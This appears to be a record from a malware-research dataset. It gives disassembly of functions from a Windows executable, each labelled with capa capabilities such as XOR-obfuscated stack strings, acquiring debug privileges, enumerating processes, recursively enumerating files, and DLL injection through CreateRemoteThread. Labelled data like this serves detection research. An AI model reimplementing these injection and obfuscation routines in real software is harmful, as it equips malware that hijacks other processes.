joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401830
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query environment variable

Disassembly:
sub esp, 0x130
mov eax, dword [0x4310d8]
mov dword [esp + 0x12c], eax
mov al, 0x87
mov cl, 0xb0
mov byte [esp + 0x10], al
mov byte [esp + 0x24], al
mov byte [esp], 0x7b
mov byte [esp + 1], 0x3a
mov byte [esp + 2], 0x59
mov byte [esp + 3], 0xfe
mov byte [esp + 4], 0x78
mov byte [esp + 5], cl
mov byte [esp + 6], 0xb1
mov byte [esp + 7], 0x27
mov byte [esp + 8], 0x34
mov byte [esp + 9], 0xf8
mov byte [esp + 0xa], 0x7f
mov byte [esp + 0xb], 0x7a
mov byte [esp + 0xc], 6
mov byte [esp + 0xd], 0x30
mov byte [esp + 0xe], 0xcb
mov byte [esp + 0xf], 0xef
mov byte [esp + 0x14], 0x5e
mov byte [esp + 0x15], 0x6d
mov byte [esp + 0x16], 0x10
mov byte [esp + 0x17], cl
mov byte [esp + 0x18], 0x3c
mov byte [esp + 0x19], 0xf9
mov byte [esp + 0x1a], 0xe3
mov byte [esp + 0x1b], 2
mov byte [esp + 0x1c], 0x68
mov byte [esp + 0x1d], 0x8c
mov byte [esp + 0x1e], 0xc
mov byte [esp + 0x1f], 0x1f
mov byte [esp + 0x20], 0x74
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0xe5
mov byte [esp + 0x23], 0x95
xor eax, eax
lea ecx, [ecx]
mov dl, byte [esp + eax]
mov cl, byte [esp + eax + 0x14]
xor dl, cl
mov byte [esp + eax], dl
inc eax
cmp eax, 0x11
jl 0x4018f0
push 0x104
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea edx, [esp + 0x40]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x12c]
call fcn.00424873
add esp, 0x130
ret
Function at 0x404720
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, dword [esp + 0xc]
xor edx, edx
dec ebp
test ebp, ebp
mov eax, 0x82
jle 0x404785
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
sub esi, ecx
mov edi, ebp
lea esp, [esp]
xor edx, edx
mov dl, al
and dl, 0x28
mov byte [0x431c83], dl
mov bl, byte [ecx + 1]
and edx, 4
xor eax, edx
mov dl, byte [ecx]
xor dl, bl
mov byte [esi + ecx], dl
mov bl, byte [0x431c83]
mov dl, al
and dl, 0x1b
or dl, 0x20
or bl, dl
inc ecx
dec edi
mov byte [0x431c83], bl
jne 0x404740
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov byte [eax + ebp], 0
pop ebp
ret 8
mov eax, dword [esp + 8]
mov byte [edx + eax], 0
pop ebp
ret 8

Function at 0x4047a0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call esi
lea eax, [esp + 4]
push eax
push 0x28
call esi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
pop esi
je 0x404832
lea ecx, [esp + 4]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x404828
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
push 0
push 0
push 0x10
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x10]
push 0
push eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], 2
mov byte [0x431c83], 0x61
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov cl, byte [0x431c83]
sub cl, 0xc
and cl, 0x28
mov byte [0x431c83], cl
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x1c
ret
Function at 0x404840
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42e2f8
push 0x42521c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 4], edi
mov eax, dword [ebp + 8]
push eax
push edi
push 0x42a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
mov dword [ebp - 0x20], ebx
cmp ebx, edi
je 0x40493d
mov byte [ebp - 0x19], 0x34
mov byte [ebp - 0x19], 0x37
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
inc esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], esi
mov byte [ebp - 0x19], 8
push 4
push 0x1000
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 0x34], edi
test edi, edi
je 0x40493d
mov byte [ebp - 0x19], 0x6c
push 0
push esi
mov edx, dword [ebp + 0xc]
push edx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40493d
mov byte [ebp - 0x19], 0x6c
push 0x42e2e4
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x38], eax
mov byte [ebp - 0x19], 0x20
mov byte [ebp - 0x19], 0x81
mov byte [ebp - 0x19], 0
test eax, eax
je 0x40493d
mov byte [ebp - 0x19], 0
mov byte [ebp - 0x19], 0x28
push 0
push 0
push edi
push eax
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x24], eax
test eax, eax
je 0x40493d
mov byte [ebp - 0x19], 0x28
mov byte [0x431c83], 0x28
mov dword [ebp - 0x28], 1
mov dword [ebp - 4], 0xffffffff
call fcn.00404962
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x405090
Capabilities:
Check if file exists
Enumerate processes
Get common file path
Get file attributes

Disassembly:
sub esp, 0x240
mov eax, dword [0x4310d8]
push ebx
push esi
push edi
mov edi, dword [esp + 0x250]
mov dword [esp + 0x248], eax
push 0x104
lea eax, [esp + 0x148]
push eax
mov dword [edi], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov byte [esp + 0xc], 0xea
mov byte [esp + 0xd], 0x95
mov byte [esp + 0xe], 0x54
mov byte [esp + 0xf], 0x8f
mov byte [esp + 0x10], 0x6f
mov byte [esp + 0x11], 0x90
mov byte [esp + 0x12], 0xf7
xor eax, eax
mov ecx, 6
nop
mov bl, byte [esp + ecx + 0xc]
mov dl, byte [esp + eax + 0xc]
mov byte [esp + eax + 0xc], bl
inc eax
mov byte [esp + ecx + 0xc], dl
dec ecx
cmp eax, ecx
jl 0x4050f0
mov cl, byte [esp + 0xc]
mov dl, byte [esp + 0xd]
mov al, byte [esp + 0xe]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
xor cl, 0x92
xor dl, 0xa1
mov byte [esp + 0x14], cl
mov cl, byte [esp + 0xf]
mov byte [esp + 0x15], dl
mov dl, byte [esp + 0x10]
xor al, 0x41
xor cl, 0xeb
xor dl, 0x38
mov byte [esp + 0x16], al
mov al, byte [esp + 0x11]
mov byte [esp + 0x17], cl
mov cl, byte [esp + 0x12]
mov byte [esp + 0x18], dl
push 0x42e308
lea edx, [esp + 0x148]
xor al, 0xf9
xor cl, 0xea
push edx
mov byte [esp + 0x21], al
mov byte [0x431c83], 0x6c
mov byte [esp + 0x22], cl
call esi
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x148]
push ecx
call esi
lea edx, [esp + 0x144]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x405269
push 0x42e304
lea eax, [esp + 0x148]
push eax
push 0
call fcn.0041e0b0
add esp, 0xc
test eax, eax
je 0x4051c3
call fcn.004047a0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
jne 0x4051db
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x23c]
call fcn.00424873
add esp, 0x240
ret
lea ecx, [esp + 0x1c]
push ecx
push esi
mov dword [esp + 0x24], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x405262
lea edx, [esp + 0x40]
push edx
mov byte [0x431c83], 0x2a
call fcn.00425c34
movsx bx, byte [0x431c83]
lea eax, [esp + 0x44]
push eax
add ebx, 0xd
call fcn.00404990
add esp, 8
test eax, eax
je 0x405253
mov cl, byte [0x431c83]
mov edx, dword [esp + 0x24]
and bl, 0x44
or bl, 0x20
or cl, bl
mov byte [0x431c83], cl
lea ecx, [esp + 0x14]
push ecx
push edx
call fcn.00404840
test eax, eax
jne 0x40524c
mov dword [edi], 1
mov byte [0x431c83], 0x6c
lea eax, [esp + 0x1c]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4051f2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x248]
pop edi
pop esi
mov eax, 1
pop ebx
call fcn.00424873
add esp, 0x240
ret
Function at 0x405290
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, dword [esp + 0xc]
xor edx, edx
dec ebp
test ebp, ebp
mov eax, 0xffffffcc
jle 0x4052f9
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
sub esi, ecx
mov edi, ebp
lea esp, [esp]
mov dl, 0xa
sub dl, al
mov byte [0x431c84], dl
movsx edx, dl
mov bl, byte [ecx + 1]
imul edx, eax
imul edx, edx, 0x6f
xor edx, 0x1a
mov eax, edx
mov dl, byte [ecx]
xor dl, bl
mov byte [esi + ecx], dl
mov dl, byte [0x431c84]
sub dl, 0x71
mov bl, al
shl bl, 6
or dl, bl
inc ecx
dec edi
mov byte [0x431c84], dl
jne 0x4052b0
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov byte [eax + ebp], 0
pop ebp
ret
mov eax, dword [esp + 8]
mov byte [edx + eax], 0
pop ebp
ret
Function at 0x406260
Capabilities:
Get file size
Read file via mapping

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0
push 3
push 0
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x406286
xor eax, eax
pop esi
ret
push ebp
push 0
push 0
push 0
push 2
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebp, eax
test ebp, ebp
jne 0x4062aa
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
xor eax, eax
pop esi
ret
push edi
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
jne 0x4062d2
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebp
call esi
pop edi
pop ebp
xor eax, eax
pop esi
ret
push 0
push esi
mov byte [0x431c84], 6
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
jne 0x40630e
push edi
mov byte [0x431c84], 0xcd
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call edi
push esi
mov byte [0x431c84], 6
call edi
pop edi
pop ebp
xor eax, eax
pop esi
ret
xor byte [0x431c84], 0x49
mov ecx, dword [esp + 0x14]
push ecx
push eax
push edi
call fcn.00405f30
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dl, byte [0x431c84]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
or dl, 0xc0
push ebp
mov byte [0x431c84], dl
call edi
mov al, byte [0x431c84]
mov dl, 0x4b
imul dl
push esi
mov byte [0x431c84], al
call edi
pop edi
pop ebp
mov eax, 1
pop esi
ret
Function at 0x406360
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x364
mov eax, dword [0x4310d8]
push ebx
mov dword [esp + 0x364], eax
push esi
push edi
mov al, 0x2a
mov byte [esp + 0x10], al
mov byte [esp + 0x12], al
xor eax, eax
mov ecx, 0x82
lea edi, [esp + 0x160]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push eax
lea ecx, [esp + 0x164]
push ecx
mov byte [esp + 0x19], 0x2e
mov byte [esp + 0x1b], 0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x164]
push eax
call esi
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x164]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0xffffffff
mov ebx, 0x2684
je 0x406562
test byte [esp + 0x20], 0x10
je 0x40648a
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
push 0x42e310
lea eax, [esp + 0x50]
push eax
call edi
test eax, eax
je 0x40647f
push 0x42e30c
lea ecx, [esp + 0x50]
push ecx
call edi
test eax, eax
je 0x40647f
mov edx, dword [ebp + 8]
xor eax, eax
mov ecx, 0x82
lea edi, [esp + 0x160]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x4c]
push ecx
lea edx, [esp + 0x164]
push edx
call esi
push 0x42e308
lea eax, [esp + 0x164]
push eax
call esi
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [esp + 0x164]
push edx
mov ebx, 0x2be
call fcn.00406360
jmp 0x406532
test byte [esp + 0x20], 0x10
jne 0x406535
lea eax, [esp + 0x4c]
push eax
call fcn.00405310
add esp, 4
test eax, eax
je 0x406535
xor eax, eax
mov ecx, 0x82
lea edi, [esp + 0x160]
rep stosd dword es:[edi], eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [esp + 0x164]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x164]
push ecx
call esi
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x164]
push eax
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x77
mov byte [esp + 0x22], 0x61
mov byte [esp + 0x23], 0x62
mov byte [esp + 0x24], 0
call fcn.00425320
add esp, 8
test eax, eax
je 0x406517
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [esp + 0x164]
push edx
xor ebx, ebx
call fcn.00415690
jmp 0x406532
mov eax, dword [ebp + 0xc]
movsx ebx, byte [0x431c84]
push eax
imul ebx, ebx, 0x74
lea ecx, [esp + 0x164]
push ecx
call fcn.00406260
add esp, 8
mov edi, dword [esp + 0x14]
lea edx, [esp + 0x20]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4063f3
mov al, byte [0x431c84]
sub al, bl
or al, 0x80
push edi
mov byte [0x431c84], al
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x36c]
call fcn.00424873
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407370
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, dword [esp + 0xc]
xor edx, edx
dec ebp
test ebp, ebp
mov eax, 0x7b
jle 0x4073d1
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
sub esi, ecx
mov edi, ebp
lea esp, [esp]
mov dl, al
xor dl, 0x24
mov byte [0x431c86], dl
mov bl, byte [ecx + 1]
movsx edx, dl
or edx, 2
or eax, edx
mov dl, byte [ecx]
xor dl, bl
mov byte [esi + ecx], dl
mov bl, byte [0x431c86]
mov dl, al
add dl, 0x54
add bl, dl
inc ecx
dec edi
mov byte [0x431c86], bl
jne 0x407390
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov byte [eax + ebp], 0
pop ebp
ret
mov eax, dword [esp + 8]
mov byte [edx + eax], 0
pop ebp
ret

Function at 0x4073e0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
lea ecx, [edi - 1]
xor edx, edx
test ecx, ecx
push esi
mov esi, eax
jle 0x407404
mov bl, byte [ecx + esi]
mov al, byte [edx + esi]
mov byte [edx + esi], bl
inc edx
mov byte [ecx + esi], al
dec ecx
cmp edx, ecx
jl 0x4073f2
mov cl, byte [0x431c86]
and cl, 0x19
test edi, edi
mov byte [0x431c86], cl
jle 0x40742f
mov ecx, ebp
sub esi, ebp
mov eax, edi
mov dl, 0x37
nop
mov byte [0x431c86], dl
mov bl, byte [esi + ecx]
xor byte [ecx], bl
inc ecx
dec eax
jne 0x407420
pop esi
mov eax, ebp
pop ebp
pop ebx
ret 4

Function at 0x407650
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x24
mov eax, dword [0x4310d8]
push edi
mov edi, dword [esp + 0x2c]
mov dword [esp + 0x24], eax
cmp dword [edi + 0x14], 0x1f
jbe 0x407679
xor eax, eax
pop edi
mov ecx, dword [esp + 0x20]
call fcn.00424873
add esp, 0x24
ret 4
mov eax, dword [ecx + 0x50]
push ebx
mov ebx, 0x10
cmp eax, ebx
jb 0x40768b
mov eax, dword [ecx + 0x3c]
jmp 0x40768e
lea eax, [ecx + 0x3c]
push esi
push 0
push 0
push 4
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4076c0
pop esi
pop ebx
xor eax, eax
pop edi
mov ecx, dword [esp + 0x20]
call fcn.00424873
add esp, 0x24
ret 4
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [edi + 0x3c], eax
xor eax, eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
cmp dword [edi + 0x18], ebx
jb 0x4076fc
mov eax, dword [edi + 4]
jmp 0x4076ff
lea eax, [edi + 4]
push eax
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [esp + 0x38]
push edx
push 0x20
lea eax, [esp + 0x18]
push eax
push esi
call ebx
push 0
lea ecx, [esp + 0x38]
push ecx
push 4
lea edx, [edi + 0x38]
push edx
push esi
call ebx
push 0
lea eax, [esp + 0x38]
push eax
push 4
add edi, 0x40
push edi
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x2c]
pop esi
pop ebx
mov eax, 1
pop edi
call fcn.00424873
add esp, 0x24
ret 4
Function at 0x407760
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp dword [ecx + 0x50], 0x10
jb 0x40776c
mov eax, dword [ecx + 0x3c]
jmp 0x40776f
lea eax, [ecx + 0x3c]
push esi
push 0
push 0
push 3
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x407794
xor eax, eax
pop esi
pop ecx
ret 4
push ebx
push edi
mov edi, dword [esp + 0x14]
mov eax, dword [edi + 0x3c]
push 0
push 0
add eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [esp + 0x10]
push ecx
push 4
lea edx, [edi + 0x38]
push edx
push esi
call ebx
push 0
lea eax, [esp + 0x10]
push eax
push 4
add edi, 0x40
push edi
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
mov eax, 1
pop esi
pop ecx
ret 4

Function at 0x408250
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query environment variable

Disassembly:
sub esp, 0x130
mov eax, dword [0x4310d8]
mov dword [esp + 0x12c], eax
mov al, 0xc9
push esi
mov esi, ecx
mov cl, 0xb0
mov byte [esp + 0x16], al
mov byte [esp + 0x2a], al
mov byte [esp + 4], 0x7b
mov byte [esp + 5], 0x3a
mov byte [esp + 6], 0x59
mov byte [esp + 7], 0xfe
mov byte [esp + 8], 0x78
mov byte [esp + 9], cl
mov byte [esp + 0xa], 0xb1
mov byte [esp + 0xb], 0x27
mov byte [esp + 0xc], 0x34
mov byte [esp + 0xd], 0xf8
mov byte [esp + 0xe], 0x7f
mov byte [esp + 0xf], 0x7a
mov byte [esp + 0x10], 6
mov byte [esp + 0x11], 0x30
mov byte [esp + 0x12], 0xcb
mov byte [esp + 0x13], 0xef
mov byte [esp + 0x14], 0x87
mov byte [esp + 0x15], 0xae
mov byte [esp + 0x18], 0x5e
mov byte [esp + 0x19], 0x6d
mov byte [esp + 0x1a], 0x10
mov byte [esp + 0x1b], cl
mov byte [esp + 0x1c], 0x3c
mov byte [esp + 0x1d], 0xf9
mov byte [esp + 0x1e], 0xe3
mov byte [esp + 0x1f], 2
mov byte [esp + 0x20], 0x68
mov byte [esp + 0x21], 0x8c
mov byte [esp + 0x22], 0xc
mov byte [esp + 0x23], 0x1f
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x25], 0x46
mov byte [esp + 0x26], 0xe5
mov byte [esp + 0x27], 0x98
mov byte [esp + 0x28], 0xe6
mov byte [esp + 0x29], 0xd6
xor eax, eax
mov dl, byte [esp + eax + 4]
mov cl, byte [esp + eax + 0x18]
xor dl, cl
mov byte [esp + eax + 4], dl
inc eax
cmp eax, 0x13
jl 0x408325
push 0x104
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [esp + 0x2c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408355
sub eax, edx
push eax
lea ecx, [esp + 0x30]
push ecx
lea ecx, [esi + 0x38]
call fcn.004028a0
mov ecx, dword [esp + 0x130]
pop esi
call fcn.00424873
add esp, 0x130
ret
Function at 0x40b0f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42d338
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x64
mov eax, dword [0x4310d8]
push ebx
mov dword [ebp - 0x14], eax
mov eax, ecx
cmp dword [eax + 0x50], 0x10
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x40], eax
jb 0x40b129
mov eax, dword [eax + 0x3c]
jmp 0x40b12c
add eax, 0x3c
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [ebp - 0x44], ebx
je 0x40b2e5
mov dword [ebp - 0x48], 0
jmp 0x40b160
mov ebx, dword [ebp - 0x44]
lea esp, [esp]
push 1
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x3c]
push eax
push 0x20
lea ecx, [ebp - 0x34]
push ecx
push ebx
call esi
test eax, eax
je 0x40b2de
cmp dword [ebp - 0x3c], 0x20
jne 0x40b2de
push 0
lea edx, [ebp - 0x3c]
push edx
mov edi, 4
push edi
lea eax, [ebp - 0x4c]
push eax
push ebx
call esi
test eax, eax
je 0x40b2de
cmp dword [ebp - 0x3c], edi
jne 0x40b2de
push 0
lea ecx, [ebp - 0x3c]
push ecx
push edi
lea edx, [ebp - 0x48]
push edx
push ebx
call esi
test eax, eax
je 0x40b2de
cmp dword [ebp - 0x3c], edi
jne 0x40b2de
push 0x44
mov dword [ebp - 4], 0
call fcn.004246fe
add esp, 4
test eax, eax
je 0x40b1fd
mov ecx, eax
call fcn.004078f0
mov esi, eax
mov dword [ebp - 0x38], esi
jmp 0x40b219
xor eax, eax
mov esi, eax
mov dword [ebp - 0x38], esi
jmp 0x40b219
test esi, esi
mov dword [ebp - 4], 0xffffffff
je 0x40b160
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x70]
call fcn.00402a90
mov edi, dword [ebp - 0x40]
mov ebx, dword [edi + 8]
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x54]
add edi, 4
push edx
mov ecx, edi
mov dword [ebp - 4], 2
call fcn.00407c10
cmp dword [eax], ebx
lea ecx, [ebp - 0x70]
setne bl
mov dword [ebp - 4], 0xffffffff
call fcn.004023d0
test bl, bl
jne 0x40b159
lea eax, [ebp - 0x34]
push eax
mov ecx, esi
call fcn.00407d30
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x50]
mov dword [esi + 0x38], ecx
mov dword [esi + 0x3c], edx
mov eax, dword [ebp - 0x48]
push esi
mov ecx, edi
mov dword [esi + 0x40], eax
call fcn.0040b030
mov dword [eax], esi
test byte [esi + 0x38], 1
je 0x40b2ab
lea ecx, [ebp - 0x38]
push ecx
mov ecx, dword [ebp - 0x40]
add ecx, 0x10
call fcn.004085e0
test byte [esi + 0x38], 4
je 0x40b2c0
mov ecx, dword [ebp - 0x40]
lea edx, [ebp - 0x38]
push edx
add ecx, 0x1c
call fcn.004085e0
test byte [esi + 0x38], 8
je 0x40b159
mov ecx, dword [ebp - 0x40]
lea eax, [ebp - 0x38]
push eax
add ecx, 0x28
call fcn.004085e0
jmp 0x40b159
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
xor eax, eax
call fcn.00424873
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b610
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query environment variable
Read file on windows

Disassembly:
sub esp, 0x134
mov eax, dword [0x4310d8]
mov dword [esp + 0x130], eax
mov eax, dword [0x4310b8]
cmp eax, 0xffffffff
jne 0x40b76c
mov al, 0xb0
mov byte [esp + 9], al
mov byte [esp + 0x1b], al
mov al, 0x8c
mov cl, 0x87
mov byte [esp + 0x21], al
mov byte [esp + 0x27], al
mov byte [esp + 4], 0x7b
mov byte [esp + 5], 0x3a
mov byte [esp + 6], 0x59
mov byte [esp + 7], 0xfe
mov byte [esp + 8], 0x78
mov byte [esp + 0xa], 0xb1
mov byte [esp + 0xb], 0x27
mov byte [esp + 0xc], 0x34
mov byte [esp + 0xd], 0xf8
mov byte [esp + 0xe], 0x7f
mov byte [esp + 0xf], 0x7a
mov byte [esp + 0x10], 6
mov byte [esp + 0x11], 0x30
mov byte [esp + 0x12], 0xcb
mov byte [esp + 0x13], 0xef
mov byte [esp + 0x14], cl
mov byte [esp + 0x18], 0x5e
mov byte [esp + 0x19], 0x6d
mov byte [esp + 0x1a], 0x10
mov byte [esp + 0x1c], 0x3c
mov byte [esp + 0x1d], 0xf9
mov byte [esp + 0x1e], 0xe3
mov byte [esp + 0x1f], 2
mov byte [esp + 0x20], 0x68
mov byte [esp + 0x22], 0xc
mov byte [esp + 0x23], 0x1f
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x25], 0x46
mov byte [esp + 0x26], 0xe5
mov byte [esp + 0x28], cl
xor eax, eax
lea esp, [esp]
mov dl, byte [esp + eax + 4]
mov cl, byte [esp + eax + 0x18]
xor dl, cl
mov byte [esp + eax + 4], dl
inc eax
cmp eax, 0x11
jl 0x40b6e0
push esi
push 0x104
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x10]
push eax
mov dword [0x4310b8], 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
push 0
push 3
push 0
push 0
push 0x80000000
lea ecx, [esp + 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40b766
push 0
lea edx, [esp + 8]
push edx
push 4
push 0x4310b8
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40b755
cmp dword [esp + 4], 4
je 0x40b75f
mov dword [0x4310b8], 0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x4310b8]
pop esi
mov ecx, dword [esp + 0x130]
call fcn.00424873
add esp, 0x134
ret